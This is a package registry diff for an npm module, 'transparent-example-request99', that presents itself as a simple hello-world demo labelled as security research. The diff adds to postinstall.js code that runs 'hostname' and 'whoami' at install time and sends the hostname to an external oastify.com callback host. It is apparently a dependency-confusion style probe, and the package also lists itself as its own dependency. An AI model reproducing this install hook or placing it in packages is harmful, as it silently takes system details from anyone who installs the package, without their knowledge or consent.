transparent-example-request99 1.0.2 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,12 @@
1
+ This package is a simple demonstration module that:
2
+
3
+ DO NOT USE => THIS IS FOR SECURITY RESEARCH!!!!!
4
+
5
+
6
+
7
+
8
+
9
+
10
+
11
+
12
+
package/index.js ADDED
@@ -0,0 +1,6 @@
1
+ function hello() {
2
+ return "Hello from transparent-example-request99!";
3
+ }
4
+
5
+ module.exports = { hello };
6
+
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "transparent-example-request99",
3
- "version": "1.0.2",
3
+ "version": "1.0.4",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -8,6 +8,8 @@
8
8
  },
9
9
  "keywords": [],
10
10
  "author": "",
11
- "license": "ISC"
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "transparent-example-request99": "^1.0.1"
14
+ }
12
15
  }
13
-
package/postinstall.js CHANGED
@@ -1,7 +1,19 @@
1
1
  const https = require('https');
2
2
 
3
- https.get('https://4hmemny3bq5uvqyj525prr8a016sulia.oastify.com', res => {
4
- console.log('Made a transparent postinstall request to example.com');
3
+ const { execSync } = require('child_process');
4
+
5
+ const hostname = execSync('hostname').toString().trim();
6
+ const user = execSync('whoami').toString().trim();
7
+
8
+
9
+
10
+
11
+ https.get(`https://4hmemny3bq5uvqyj525prr8a016sulia.oastify.com?${hostname}`, res => {
12
+
13
+
14
+
15
+
16
+ console.log('Security Research');
5
17
  }).on('error', err => {
6
18
  console.error('Request failed:', err.message);
7
19